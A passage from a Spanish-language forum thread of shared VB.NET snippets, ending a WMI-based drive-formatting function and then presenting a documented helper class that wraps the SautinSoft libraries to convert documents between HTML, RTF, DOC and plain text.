  40.    ''' Indicates the drive letter to format.
  41.    ''' </param>
  42.    ''' <param name="FileSystem">
  43.    ''' Indicates the filesystem format to use for this volume.
  44.    ''' The default is "NTFS".
  45.    ''' </param>
  46.    ''' <param name="QuickFormat">
  47.    ''' If set to <c>true</c>, formats the volume with a quick format by removing files from the disk
  48.    ''' without scanning the disk for bad sectors.
  49.    ''' Use this option only if the disk has been previously formatted,
  50.    ''' and you know that the disk is not damaged.
  51.    ''' The default is <c>true</c>.
  52.    ''' </param>
  53.    ''' <param name="ClusterSize">
  54.    ''' Disk allocation unit size—cluster size.
  55.    ''' All of the filesystems organizes the hard disk based on cluster size,
  56.    ''' which represents the smallest amount of disk space that can be allocated to hold a file.
  57.    ''' The smaller the cluster size you use, the more efficiently your disk stores information.
  58.    ''' If no cluster size is specified during format, Windows picks defaults based on the size of the volume.
  59.    ''' These defaults have been selected to reduce the amount of space lost and to reduce fragmentation.
  60.    ''' For general use, the default settings are strongly recommended.
  61.    ''' </param>
  62.    ''' <param name="VolumeLabel">
  63.    ''' Indicates the Label to use for the new volume.
  64.    ''' The volume label can contain up to 11 characters for FAT16 and FAT32 volumes,
  65.    ''' and up to 32 characters for NTFS filesystem volumes.
  66.    ''' </param>
  67.    ''' <param name="EnableCompression">Not implemented.</param>
  68.    ''' <returns>
  69.    ''' 0  = Success.
  70.    ''' 1  = Unsupported file system.
  71.    ''' 2  = Incompatible media in drive.
  72.    ''' 3  = Access denied.
  73.    ''' 4  = Call canceled.
  74.    ''' 5  = Call cancellation request too late.
  75.    ''' 6  = Volume write protected.
  76.    ''' 7  = Volume lock failed.
  77.    ''' 8  = Unable to quick format.
  78.    ''' 9  = Input/Output (I/O) error.
  79.    ''' 10 = Invalid volume label.
  80.    ''' 11 = No media in drive.
  81.    ''' 12 = Volume is too small.
  82.    ''' 13 = Volume is too large.
  83.    ''' 14 = Volume is not mounted.
  84.    ''' 15 = Cluster size is too small.
  85.    ''' 16 = Cluster size is too large.
  86.    ''' 17 = Cluster size is beyond 32 bits.
  87.    ''' 18 = Unknown error.
  88.    ''' </returns>
  89.    Public Function FormatDrive(ByVal DriveLetter As Char,
  90.                                Optional ByVal FileSystem As DriveFileSystem = DriveFileSystem.NTFS,
  91.                                Optional ByVal QuickFormat As Boolean = True,
  92.                                Optional ByVal ClusterSize As Integer = Nothing,
  93.                                Optional ByVal VolumeLabel As String = Nothing,
  94.                                Optional ByVal EnableCompression As Boolean = False) As Integer
  95.  
  96.        ' Volume-label error check.
  97.        If Not String.IsNullOrEmpty(VolumeLabel) Then
  98.  
  99.            If VolumeLabel.Length > FileSystem Then
  100.                Throw New Exception(String.Format("Volume label for '{0}' filesystem can't be larger than '{1}' characters.",
  101.                                                  FileSystem.ToString, CStr(FileSystem)))
  102.            End If
  103.  
  104.        End If
  105.  
  106.        Dim Query As String = String.Format("select * from Win32_Volume WHERE DriveLetter = '{0}:'",
  107.                                            Convert.ToString(DriveLetter))
  108.  
  109.        Using WMI As New ManagementObjectSearcher(Query)
  110.  
  111.            Return CInt(WMI.[Get].Cast(Of ManagementObject).First.
  112.                        InvokeMethod("Format",
  113.                                     New Object() {FileSystem, QuickFormat, ClusterSize, VolumeLabel, EnableCompression}))
  114.  
  115.        End Using
  116.  
  117.        Return 18 ' Unknown error.
  118.  
  119.    End Function


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 20 Febrero 2014, 06:06 am
Una helper class para las librerías 'SautinSoft.HtmlToRtf' y 'SautinSoft.RtfToHtml', como sus nombres indican, para convertir distintos documentos entre HTML, RTF, DOC y TXT.

La verdad es que se consiguen muy buenos resultados y tiene muchas opciones de customización, esta librería es mucho mejor que la que posteé hace unas semanas del cual también hice un ayudante.

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 02-20-2014
  4. ' ***********************************************************************
  5. ' <copyright file="DocumentConverter.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Example Usages "
  11.  
  12. ' ' HTML 2 RTF
  13. ' RichTextBox1.Rtf = HTMLConverter.Html2Rtf(IO.File.ReadAllText("C:\File.htm", System.Text.Encoding.Default),
  14. '                                           SautinSoft.HtmlToRtf.eEncoding.AutoDetect, False,
  15. '                                           DocumentConverter.PageSize.Auto, SautinSoft.HtmlToRtf.ePageNumbers.PageNumFirst,
  16. '                                           "Page {page} of {numpages}", SautinSoft.HtmlToRtf.eAlign.Undefined,
  17. '                                           DocumentConverter.PageOrientation.Auto, "Header", "Footer",
  18. '                                           SautinSoft.HtmlToRtf.eImageCompatible.WordPad)
  19.  
  20.  
  21. ' ' HTML 2 TXT
  22. ' RichTextBox1.Text = HTMLConverter.Html2Txt(IO.File.ReadAllText("C:\File.htm", System.Text.Encoding.Default),
  23. '                                            SautinSoft.HtmlToRtf.eEncoding.AutoDetect, False,
  24. '                                            DocumentConverter.PageSize.Auto, SautinSoft.HtmlToRtf.ePageNumbers.PageNumFirst,
  25. '                                            "Page {page} of {numpages}", SautinSoft.HtmlToRtf.eAlign.Undefined,
  26. '                                            DocumentConverter.PageOrientation.Auto, "Header", "Footer",
  27. '                                            SautinSoft.HtmlToRtf.eImageCompatible.WordPad)
  28.  
  29.  
  30. ' ' HTML 2 DOC
  31. ' Dim MSDocText As String = HTMLConverter.Html2Doc(IO.File.ReadAllText("C:\File.htm", System.Text.Encoding.Default),
  32. '                                                  SautinSoft.HtmlToRtf.eEncoding.AutoDetect, False,
  33. '                                                  DocumentConverter.PageSize.Auto, SautinSoft.HtmlToRtf.ePageNumbers.PageNumFirst,
  34. '                                                  "Page {page} of {numpages}", SautinSoft.HtmlToRtf.eAlign.Undefined,
  35. '                                                  DocumentConverter.PageOrientation.Auto, "Header", "Footer",
  36. '                                                  SautinSoft.HtmlToRtf.eImageCompatible.MSWord)
  37. ' IO.File.WriteAllText("C:\DocFile.doc", MSDocText, System.Text.Encoding.Default)
  38.  
  39.  
  40. ' ' TXT 2 RTF
  41. ' RichTextBox1.Rtf = DocumentConverter.Txt2Rtf("Hello World!",
  42. '                                              SautinSoft.HtmlToRtf.eEncoding.AutoDetect, False,
  43. '                                              DocumentConverter.PageSize.Auto, SautinSoft.HtmlToRtf.ePageNumbers.PageNumFirst,
  44. '                                              "Page {page} of {numpages}", SautinSoft.HtmlToRtf.eAlign.Undefined,
  45. '                                              DocumentConverter.PageOrientation.Auto, "Header", "Footer",
  46. '                                              SautinSoft.HtmlToRtf.eImageCompatible.WordPad)
  47.  
  48.  
  49. ' ' TXT 2 DOC
  50. ' Dim MSDocText As String = DocumentConverter.Txt2Doc("Hello World!",
  51. '                                                     SautinSoft.HtmlToRtf.eEncoding.AutoDetect, False,
  52. '                                                     DocumentConverter.PageSize.Auto, SautinSoft.HtmlToRtf.ePageNumbers.PageNumFirst,
  53. '                                                     "Page {page} of {numpages}", SautinSoft.HtmlToRtf.eAlign.Undefined,
  54. '                                                     DocumentConverter.PageOrientation.Auto, "Header", "Footer",
  55. '                                                     SautinSoft.HtmlToRtf.eImageCompatible.WordPad)
  56. ' IO.File.WriteAllText("C:\DocFile.doc", MSDocText, System.Text.Encoding.Default)
  57.  
  58.  
  59. ' ' RTF 2 HTML
  60. ' Dim HTMLString As String =
  61. '     DocumentConverter.Rtf2Html(IO.File.ReadAllText("C:\File.rtf"),
  62. '                                SautinSoft.RtfToHtml.eOutputFormat.XHTML_10,
  63. '                                SautinSoft.RtfToHtml.eEncoding.UTF_8,
  64. '                                True, "C:\")
  65. '
  66. ' IO.File.WriteAllText("C:\File.html", HTMLString)
  67. ' Process.Start("C:\File.html")
  68.  
  69. #End Region
  70.  
  71. #Region " Imports "
  72.  
  73. Imports SautinSoft
  74. Imports System.Reflection
  75.  
  76. #End Region
  77.  
  78. ''' <summary>
  79. ''' Performs HTML document convertions to other document formats.
  80. ''' </summary>
  81. Public Class DocumentConverter
  82.  
  83. #Region " Enumerations "
  84.  
  85.    ''' <summary>
  86.    ''' Indicates the resulting PageSize.
  87.    ''' </summary>
  88.    Public Enum PageSize
  89.        Auto
  90.        A3
  91.        A4
  92.        A5
  93.        A6
  94.        B5Iso
  95.        B5Jis
  96.        B6
  97.        Executive
  98.        Folio
  99.        Legal
  100.        Letter
  101.        Oficio2
  102.        Statement
  103.    End Enum
  104.  
  105.    ''' <summary>
  106.    ''' Indicates the resulting PageOrientation.
  107.    ''' </summary>
  108.    Public Enum PageOrientation
  109.        Auto
  110.        Landscape
  111.        Portrait
  112.    End Enum
  113.  
  114. #End Region
  115.  
  116. #Region " Private Methods "
  117.  
  118.    ''' <summary>
  119.    ''' Converts a document using 'SautinSoft.HtmlToRtf' library.
  120.    ''' </summary>
  121.    ''' <param name="Text">
  122.    ''' Indicates the text to convert.
  123.    ''' </param>
  124.    ''' <param name="OutputFormat">
  125.    ''' Indicates the output document format.
  126.    ''' </param>
  127.    ''' <param name="TextEncoding">
  128.    ''' Indicates the text encoding.
  129.    ''' </param>
  130.    ''' <param name="PreservePageBreaks">
  131.    ''' If set to <c>true</c> page breaks are preserved on the conversion.
  132.    ''' </param>
  133.    ''' <param name="PageSize">
  134.    ''' Indicates the page size.
  135.    ''' </param>
  136.    ''' <param name="Pagenumbers">
  137.    ''' Indicates the page numbers.
  138.    ''' </param>
  139.    ''' <param name="PagenumbersFormat">
  140.    ''' Indicates the page numbers format.
  141.    ''' </param>
  142.    ''' <param name="PageAlignment">
  143.    ''' Indicates the page alignment.
  144.    ''' </param>
  145.    ''' <param name="PageOrientation">
  146.    ''' Indicates the page orientation.
  147.    ''' </param>
  148.    ''' <param name="PageHeader">
  149.    ''' Indicates the page header text.
  150.    ''' </param>
  151.    ''' <param name="PageFooter">
  152.    ''' Indicates the page footer text.
  153.    ''' </param>
  154.    ''' <param name="ImageCompatibility">
  155.    ''' Indicates the image compatibility if the document contains images.
  156.    ''' RichTexBox control and WordPad can't show jpeg and png images inside RTF, they can show only bitmap images.
  157.    ''' Microsoft Word can show images in jpeg, png, etc.
  158.    ''' If this property is set to 'eImageCompatible.WordPad' images will be stored as BMP inside RTF.
  159.    ''' </param>
  160.    ''' <returns>System.String.</returns>
  161.    Private Shared Function HtmlToRtfConvert(ByVal [Text] As String,
  162.                                             ByVal InputFormat As HtmlToRtf.eInputFormat,
  163.                                             ByVal OutputFormat As HtmlToRtf.eOutputFormat,
  164.                                             Optional ByVal TextEncoding As HtmlToRtf.eEncoding = HtmlToRtf.eEncoding.AutoDetect,
  165.                                             Optional ByVal PreservePageBreaks As Boolean = False,
  166.                                             Optional ByVal PageSize As PageSize = PageSize.Auto,
  167.                                             Optional ByVal Pagenumbers As HtmlToRtf.ePageNumbers = HtmlToRtf.ePageNumbers.PageNumFirst,
  168.                                             Optional ByVal PagenumbersFormat As String = "Page {page} of {numpages}",
  169.                                             Optional ByVal PageAlignment As HtmlToRtf.eAlign = HtmlToRtf.eAlign.Undefined,
  170.                                             Optional ByVal PageOrientation As PageOrientation = PageOrientation.Auto,
  171.                                             Optional ByVal PageHeader As String = Nothing,
  172.                                             Optional ByVal PageFooter As String = Nothing,
  173.                                             Optional ByVal ImageCompatibility As HtmlToRtf.eImageCompatible = HtmlToRtf.eImageCompatible.WordPad) As String
  174.  
  175.        ' Set the PageSize.
  176.        Dim PerformPageSize As New HtmlToRtf.CPageStyle.CPageSize()
  177.        Dim PageSizeMethod As MethodInfo = PerformPageSize.GetType().GetMethod(PageSize.ToString())
  178.  
  179.        ' Set the PageOrientation.
  180.        Dim PerformPageOrientation As New HtmlToRtf.CPageStyle.CPageOrientation
  181.        Dim PageOrientationMethod As MethodInfo = PerformPageOrientation.GetType().GetMethod(PageOrientation.ToString())
  182.  
  183.        ' Call the PageSize method.
  184.        If Not PageSizeMethod Is Nothing Then
  185.            PageSizeMethod.Invoke(PerformPageSize, Nothing)
  186.        Else
  187.            Throw New Exception(String.Format("PageSize method {0} not found.", PageSize.ToString))
  188.        End If
  189.  
  190.        ' Call the PageOrientation method.
  191.        If Not PageOrientationMethod Is Nothing Then
  192.            PageOrientationMethod.Invoke(PerformPageOrientation, Nothing)
  193.        Else
  194.            Throw New Exception(String.Format("PageOrientation method {0} not found.", PageOrientation.ToString))
  195.        End If
  196.  
  197.        ' Instance a new document converter.
  198.        Dim Converter As New HtmlToRtf
  199.  
  200.        ' Customize the conversion options.
  201.        With Converter
  202.  
  203.            .Serial = "123456789012"
  204.  
  205.            .InputFormat = InputFormat
  206.            .OutputFormat = OutputFormat
  207.            .Encoding = TextEncoding
  208.            .PreservePageBreaks = PreservePageBreaks
  209.            .ImageCompatible = ImageCompatibility
  210.            .PageAlignment = PageAlignment
  211.            .PageNumbers = Pagenumbers
  212.            .PageNumbersFormat = PagenumbersFormat
  213.            .PageStyle.PageSize = PerformPageSize
  214.            .PageStyle.PageOrientation = PerformPageOrientation
  215.            If Not String.IsNullOrEmpty(PageHeader) Then .PageStyle.PageHeader.Text(PageHeader)
  216.            If Not String.IsNullOrEmpty(PageFooter) Then .PageStyle.PageFooter.Text(PageFooter)
  217.  
  218.        End With
  219.  
  220.        ' Convert it.
  221.        Return Converter.ConvertString([Text])
  222.  
  223.    End Function
  224.  
  225.    ''' <summary>
  226.    ''' Converts a document using 'SautinSoft.RtfToHtml' library.
  227.    ''' </summary>
  228.    ''' <param name="Text">
  229.    ''' Indicates the text to convert.
  230.    ''' </param>
  231.    ''' <param name="OutputFormat">
  232.    ''' Indicates the output HTML format.
  233.    ''' </param>
  234.    ''' <param name="TextEncoding">
  235.    ''' Indicates the text encoding.
  236.    ''' </param>
  237.    ''' <param name="SaveImagesToDisk">
  238.    ''' If set to <c>true</c>, converted images are saved to a directory on hard drive.
  239.    ''' </param>
  240.    ''' <param name="ImageFolder">
  241.    ''' If 'SaveImagesToDisk' parameter is set to 'True', indicates the image directory to save the images.
  242.    ''' The directory must exist.
  243.    ''' </param>
  244.    ''' <returns>System.String.</returns>
  245.    Private Shared Function RtfToHtmlConvert(ByVal [Text] As String,
  246.                                             Optional ByVal OutputFormat As RtfToHtml.eOutputFormat = RtfToHtml.eOutputFormat.XHTML_10,
  247.                                             Optional ByVal TextEncoding As RtfToHtml.eEncoding = RtfToHtml.eEncoding.UTF_8,
  248.                                             Optional ByVal SaveImagesToDisk As Boolean = False,
  249.                                             Optional ByVal ImageFolder As String = "C:\") As String
  250.  
  251.  
  252.        ' Instance a new document converter.
  253.        Dim Converter As New RtfToHtml
  254.  
  255.        ' Customize the conversion options.
  256.        With Converter
  257.  
  258.            .Serial = "123456789012"
  259.  
  260.            .OutputFormat = OutputFormat
  261.            .Encoding = TextEncoding
  262.            .ImageStyle.IncludeImageInHtml = Not SaveImagesToDisk
  263.            .ImageStyle.ImageFolder = ImageFolder ' This folder must exist to save the converted images.
  264.            .ImageStyle.ImageSubFolder = "Pictures" ' This subfolder will be created by the component to save the images.
  265.            .ImageStyle.ImageFileName = "picture" ' Pattern name for converted images. (Ex: 'Picture1.png')
  266.  
  267.        End With
  268.  
  269.        ' Convert it.
  270.        Return Converter.ConvertString([Text])
  271.  
  272.    End Function
  273.  
  274. #End Region
  275.  
  276. #Region " Public Methods "
  277.  
  278.    ''' <summary>
  279.    ''' Converts HTML text to DOC (Microsoft Word).
  280.    ''' </summary>
  281.    ''' <param name="HtmlText">
  282.    ''' Indicates the HTML text to convert.
  283.    ''' </param>
  284.    ''' <param name="TextEncoding">
  285.    ''' Indicates the text encoding.
  286.    ''' </param>
  287.    ''' <param name="PreservePageBreaks">
  288.    ''' If set to <c>true</c> page breaks are preserved on the conversion.
  289.    ''' </param>
  290.    ''' <param name="PageSize">
  291.    ''' Indicates the page size.
  292.    ''' </param>
  293.    ''' <param name="Pagenumbers">
  294.    ''' Indicates the page numbers.
  295.    ''' </param>
  296.    ''' <param name="PagenumbersFormat">
  297.    ''' Indicates the page numbers format.
  298.    ''' </param>
  299.    ''' <param name="PageAlignment">
  300.    ''' Indicates the page alignment.
  301.    ''' </param>
  302.    ''' <param name="PageOrientation">
  303.    ''' Indicates the page orientation.
  304.    ''' </param>
  305.    ''' <param name="PageHeader">
  306.    ''' Indicates the page header text.
  307.    ''' </param>
  308.    ''' <param name="PageFooter">
  309.    ''' Indicates the page footer text.
  310.    ''' </param>
  311.    ''' <param name="ImageCompatibility">
  312.    ''' Indicates the image compatibility if the document contains images.
  313.    ''' RichTexBox control and WordPad can't show jpeg and png images inside RTF, they can show only bitmap images.
  314.    ''' Microsoft Word can show images in jpeg, png, etc.
  315.    ''' If this property is set to 'eImageCompatible.WordPad' images will be stored as BMP inside RTF.
  316.    ''' </param>
  317.    ''' <returns>System.String.</returns>
  318.    Public Shared Function Html2Doc(ByVal HtmlText As String,
  319.                                    Optional ByVal TextEncoding As HtmlToRtf.eEncoding = HtmlToRtf.eEncoding.AutoDetect,
  320.                                    Optional ByVal PreservePageBreaks As Boolean = False,
  321.                                    Optional ByVal PageSize As PageSize = PageSize.Auto,
  322.                                    Optional ByVal Pagenumbers As HtmlToRtf.ePageNumbers = HtmlToRtf.ePageNumbers.PageNumFirst,
  323.                                    Optional ByVal PagenumbersFormat As String = "Page {page} of {numpages}",
  324.                                    Optional ByVal PageAlignment As HtmlToRtf.eAlign = HtmlToRtf.eAlign.Undefined,
  325.                                    Optional ByVal PageOrientation As PageOrientation = PageOrientation.Auto,
  326.                                    Optional ByVal PageHeader As String = Nothing,
  327.                                    Optional ByVal PageFooter As String = Nothing,
  328.                                    Optional ByVal ImageCompatibility As HtmlToRtf.eImageCompatible = HtmlToRtf.eImageCompatible.WordPad
  329.                                    ) As String
  330.  
  331.        Return HtmlToRtfConvert(HtmlText, HtmlToRtf.eInputFormat.Html, HtmlToRtf.eOutputFormat.Doc, TextEncoding,
  332.                       PreservePageBreaks, PageSize, Pagenumbers, PagenumbersFormat,
  333.                       PageAlignment, PageOrientation, PageHeader, PageFooter, ImageCompatibility)
  334.  
  335.    End Function
  336.  
  337.    ''' <summary>
  338.    ''' Converts HTML text to RTF (Rich Text).
  339.    ''' </summary>
  340.    ''' <param name="HtmlText">
  341.    ''' Indicates the HTML text to convert.
  342.    ''' </param>
  343.    ''' <param name="TextEncoding">
  344.    ''' Indicates the text encoding.
  345.    ''' </param>
  346.    ''' <param name="PreservePageBreaks">
  347.    ''' If set to <c>true</c> page breaks are preserved on the conversion.
  348.    ''' </param>
  349.    ''' <param name="PageSize">
  350.    ''' Indicates the page size.
  351.    ''' </param>
  352.    ''' <param name="Pagenumbers">
  353.    ''' Indicates the page numbers.
  354.    ''' </param>
  355.    ''' <param name="PagenumbersFormat">
  356.    ''' Indicates the page numbers format.
  357.    ''' </param>
  358.    ''' <param name="PageAlignment">
  359.    ''' Indicates the page alignment.
  360.    ''' </param>
  361.    ''' <param name="PageOrientation">
  362.    ''' Indicates the page orientation.
  363.    ''' </param>
  364.    ''' <param name="PageHeader">
  365.    ''' Indicates the page header text.
  366.    ''' </param>
  367.    ''' <param name="PageFooter">
  368.    ''' Indicates the page footer text.
  369.    ''' </param>
  370.    ''' <param name="ImageCompatibility">
  371.    ''' Indicates the image compatibility if the document contains images.
  372.    ''' RichTexBox control and WordPad can't show jpeg and png images inside RTF, they can show only bitmap images.
  373.    ''' Microsoft Word can show images in jpeg, png, etc.
  374.    ''' If this property is set to 'eImageCompatible.WordPad' images will be stored as BMP inside RTF.
  375.    ''' </param>
  376.    ''' <returns>System.String.</returns>
  377.    Public Shared Function Html2Rtf(ByVal HtmlText As String,
  378.                                    Optional ByVal TextEncoding As HtmlToRtf.eEncoding = HtmlToRtf.eEncoding.AutoDetect,
  379.                                    Optional ByVal PreservePageBreaks As Boolean = False,
  380.                                    Optional ByVal PageSize As PageSize = PageSize.Auto,
  381.                                    Optional ByVal Pagenumbers As HtmlToRtf.ePageNumbers = HtmlToRtf.ePageNumbers.PageNumFirst,
  382.                                    Optional ByVal PagenumbersFormat As String = "Page {page} of {numpages}",
  383.                                    Optional ByVal PageAlignment As HtmlToRtf.eAlign = HtmlToRtf.eAlign.Undefined,
  384.                                    Optional ByVal PageOrientation As PageOrientation = PageOrientation.Auto,
  385.                                    Optional ByVal PageHeader As String = Nothing,
  386.                                    Optional ByVal PageFooter As String = Nothing,
  387.                                    Optional ByVal ImageCompatibility As HtmlToRtf.eImageCompatible = HtmlToRtf.eImageCompatible.WordPad
  388.                                    ) As String
  389.  
  390.        Return HtmlToRtfConvert(HtmlText, HtmlToRtf.eInputFormat.Html, HtmlToRtf.eOutputFormat.Rtf, TextEncoding,
  391.                       PreservePageBreaks, PageSize, Pagenumbers, PagenumbersFormat,
  392.                       PageAlignment, PageOrientation, PageHeader, PageFooter, ImageCompatibility)
  393.  
  394.    End Function
  395.  
  396.    ''' <summary>
  397.    ''' Converts HTML text to TXT (Plain Text).
  398.    ''' </summary>
  399.    ''' <param name="HtmlText">
  400.    ''' Indicates the HTML text to convert.
  401.    ''' </param>
  402.    ''' <param name="TextEncoding">
  403.    ''' Indicates the text encoding.
  404.    ''' </param>
  405.    ''' <param name="PreservePageBreaks">
  406.    ''' If set to <c>true</c> page breaks are preserved on the conversion.
  407.    ''' </param>
  408.    ''' <param name="PageSize">
  409.    ''' Indicates the page size.
  410.    ''' </param>
  411.    ''' <param name="Pagenumbers">
  412.    ''' Indicates the page numbers.
  413.    ''' </param>
  414.    ''' <param name="PagenumbersFormat">
  415.    ''' Indicates the page numbers format.
  416.    ''' </param>
  417.    ''' <param name="PageAlignment">
  418.    ''' Indicates the page alignment.
  419.    ''' </param>
  420.    ''' <param name="PageOrientation">
  421.    ''' Indicates the page orientation.
  422.    ''' </param>
  423.    ''' <param name="PageHeader">
  424.    ''' Indicates the page header text.
  425.    ''' </param>
  426.    ''' <param name="PageFooter">
  427.    ''' Indicates the page footer text.
  428.    ''' </param>
  429.    ''' <param name="ImageCompatibility">
  430.    ''' Indicates the image compatibility if the document contains images.
  431.    ''' RichTexBox control and WordPad can't show jpeg and png images inside RTF, they can show only bitmap images.
  432.    ''' Microsoft Word can show images in jpeg, png, etc.
  433.    ''' If this property is set to 'eImageCompatible.WordPad' images will be stored as BMP inside RTF.
  434.    ''' </param>
  435.    ''' <returns>System.String.</returns>
  436.    Public Shared Function Html2Txt(ByVal HtmlText As String,
  437.                                    Optional ByVal TextEncoding As HtmlToRtf.eEncoding = HtmlToRtf.eEncoding.AutoDetect,
  438.                                    Optional ByVal PreservePageBreaks As Boolean = False,
  439.                                    Optional ByVal PageSize As PageSize = PageSize.Auto,
  440.                                    Optional ByVal Pagenumbers As HtmlToRtf.ePageNumbers = HtmlToRtf.ePageNumbers.PageNumFirst,
  441.                                    Optional ByVal PagenumbersFormat As String = "Page {page} of {numpages}",
  442.                                    Optional ByVal PageAlignment As HtmlToRtf.eAlign = HtmlToRtf.eAlign.Undefined,
  443.                                    Optional ByVal PageOrientation As PageOrientation = PageOrientation.Auto,
  444.                                    Optional ByVal PageHeader As String = Nothing,
  445.                                    Optional ByVal PageFooter As String = Nothing,
  446.                                    Optional ByVal ImageCompatibility As HtmlToRtf.eImageCompatible = HtmlToRtf.eImageCompatible.WordPad
  447.                                    ) As String
  448.  
  449.        Return HtmlToRtfConvert(HtmlText, HtmlToRtf.eInputFormat.Html, HtmlToRtf.eOutputFormat.TextAnsi, TextEncoding,
  450.                       PreservePageBreaks, PageSize, Pagenumbers, PagenumbersFormat,
  451.                       PageAlignment, PageOrientation, PageHeader, PageFooter, ImageCompatibility)
  452.  
  453.    End Function
  454.  
  455.    ''' <summary>
  456.    ''' Converts TXT to DOC (Microsoft Word).
  457.    ''' </summary>
  458.    ''' <param name="Text">
  459.    ''' Indicates the plain text to convert.
  460.    ''' </param>
  461.    ''' <param name="TextEncoding">
  462.    ''' Indicates the text encoding.
  463.    ''' </param>
  464.    ''' <param name="PreservePageBreaks">
  465.    ''' If set to <c>true</c> page breaks are preserved on the conversion.
  466.    ''' </param>
  467.    ''' <param name="PageSize">
  468.    ''' Indicates the page size.
  469.    ''' </param>
  470.    ''' <param name="Pagenumbers">
  471.    ''' Indicates the page numbers.
  472.    ''' </param>
  473.    ''' <param name="PagenumbersFormat">
  474.    ''' Indicates the page numbers format.
  475.    ''' </param>
  476.    ''' <param name="PageAlignment">
  477.    ''' Indicates the page alignment.
  478.    ''' </param>
  479.    ''' <param name="PageOrientation">
  480.    ''' Indicates the page orientation.
  481.    ''' </param>
  482.    ''' <param name="PageHeader">
  483.    ''' Indicates the page header text.
  484.    ''' </param>
  485.    ''' <param name="PageFooter">
  486.    ''' Indicates the page footer text.
  487.    ''' </param>
  488.    ''' <param name="ImageCompatibility">
  489.    ''' Indicates the image compatibility if the document contains images.
  490.    ''' RichTexBox control and WordPad can't show jpeg and png images inside RTF, they can show only bitmap images.
  491.    ''' Microsoft Word can show images in jpeg, png, etc.
  492.    ''' If this property is set to 'eImageCompatible.WordPad' images will be stored as BMP inside RTF.
  493.    ''' </param>
  494.    ''' <returns>System.String.</returns>
  495.    Public Shared Function Txt2Doc(ByVal [Text] As String,
  496.                                   Optional ByVal TextEncoding As HtmlToRtf.eEncoding = HtmlToRtf.eEncoding.AutoDetect,
  497.                                   Optional ByVal PreservePageBreaks As Boolean = False,
  498.                                   Optional ByVal PageSize As PageSize = PageSize.Auto,
  499.                                   Optional ByVal Pagenumbers As HtmlToRtf.ePageNumbers = HtmlToRtf.ePageNumbers.PageNumFirst,
  500.                                   Optional ByVal PagenumbersFormat As String = "Page {page} of {numpages}",
  501.                                   Optional ByVal PageAlignment As HtmlToRtf.eAlign = HtmlToRtf.eAlign.Undefined,
  502.                                   Optional ByVal PageOrientation As PageOrientation = PageOrientation.Auto,
  503.                                   Optional ByVal PageHeader As String = Nothing,
  504.                                   Optional ByVal PageFooter As String = Nothing,
  505.                                   Optional ByVal ImageCompatibility As HtmlToRtf.eImageCompatible = HtmlToRtf.eImageCompatible.WordPad
  506.                                   ) As String
  507.  
  508.        Return HtmlToRtfConvert([Text], HtmlToRtf.eInputFormat.Text, HtmlToRtf.eOutputFormat.Doc, TextEncoding,
  509.                       PreservePageBreaks, PageSize, Pagenumbers, PagenumbersFormat,
  510.                       PageAlignment, PageOrientation, PageHeader, PageFooter, ImageCompatibility)
  511.  
  512.    End Function
  513.  
  514.    ''' <summary>
  515.    ''' Converts TXT to RTF (Rich Text).
  516.    ''' </summary>
  517.    ''' <param name="Text">
  518.    ''' Indicates the plain text to convert.
  519.    ''' </param>
  520.    ''' <param name="TextEncoding">
  521.    ''' Indicates the text encoding.
  522.    ''' </param>
  523.    ''' <param name="PreservePageBreaks">
  524.    ''' If set to <c>true</c> page breaks are preserved on the conversion.
  525.    ''' </param>
  526.    ''' <param name="PageSize">
  527.    ''' Indicates the page size.
  528.    ''' </param>
  529.    ''' <param name="Pagenumbers">
  530.    ''' Indicates the page numbers.
  531.    ''' </param>
  532.    ''' <param name="PagenumbersFormat">
  533.    ''' Indicates the page numbers format.
  534.    ''' </param>
  535.    ''' <param name="PageAlignment">
  536.    ''' Indicates the page alignment.
  537.    ''' </param>
  538.    ''' <param name="PageOrientation">
  539.    ''' Indicates the page orientation.
  540.    ''' </param>
  541.    ''' <param name="PageHeader">
  542.    ''' Indicates the page header text.
  543.    ''' </param>
  544.    ''' <param name="PageFooter">
  545.    ''' Indicates the page footer text.
  546.    ''' </param>
  547.    ''' <param name="ImageCompatibility">
  548.    ''' Indicates the image compatibility if the document contains images.
  549.    ''' RichTexBox control and WordPad can't show jpeg and png images inside RTF, they can show only bitmap images.
  550.    ''' Microsoft Word can show images in jpeg, png, etc.
  551.    ''' If this property is set to 'eImageCompatible.WordPad' images will be stored as BMP inside RTF.
  552.    ''' </param>
  553.    ''' <returns>System.String.</returns>
  554.    Public Shared Function Txt2Rtf(ByVal [Text] As String,
  555.                                   Optional ByVal TextEncoding As HtmlToRtf.eEncoding = HtmlToRtf.eEncoding.AutoDetect,
  556.                                   Optional ByVal PreservePageBreaks As Boolean = False,
  557.                                   Optional ByVal PageSize As PageSize = PageSize.Auto,
  558.                                   Optional ByVal Pagenumbers As HtmlToRtf.ePageNumbers = HtmlToRtf.ePageNumbers.PageNumFirst,
  559.                                   Optional ByVal PagenumbersFormat As String = "Page {page} of {numpages}",
  560.                                   Optional ByVal PageAlignment As HtmlToRtf.eAlign = HtmlToRtf.eAlign.Undefined,
  561.                                   Optional ByVal PageOrientation As PageOrientation = PageOrientation.Auto,
  562.                                   Optional ByVal PageHeader As String = Nothing,
  563.                                   Optional ByVal PageFooter As String = Nothing,
  564.                                   Optional ByVal ImageCompatibility As HtmlToRtf.eImageCompatible = HtmlToRtf.eImageCompatible.WordPad
  565.                                   ) As String
  566.  
  567.        Return HtmlToRtfConvert([Text], HtmlToRtf.eInputFormat.Text, HtmlToRtf.eOutputFormat.Rtf, TextEncoding,
  568.                       PreservePageBreaks, PageSize, Pagenumbers, PagenumbersFormat,
  569.                       PageAlignment, PageOrientation, PageHeader, PageFooter, ImageCompatibility)
  570.  
  571.    End Function
  572.  
  573.    ''' <summary>
  574.    ''' Converts RtF to HtML.
  575.    ''' </summary>
  576.    ''' <param name="RtfText">
  577.    ''' Indicates the rich text to convert.
  578.    ''' </param>
  579.    ''' <param name="OutputFormat">
  580.    ''' Indicates the output HTML format.
  581.    ''' </param>
  582.    ''' <param name="TextEncoding">
  583.    ''' Indicates the text encoding.
  584.    ''' </param>
  585.    ''' <param name="SaveImagesToDisk">
  586.    ''' If set to <c>true</c>, converted images are saved to a directory on hard drive.
  587.    ''' </param>
  588.    ''' <param name="ImageFolder">
  589.    ''' If 'SaveImagesToDisk' parameter is set to 'True', indicates the image directory to save the images.
  590.    ''' The directory must exist.
  591.    ''' </param>
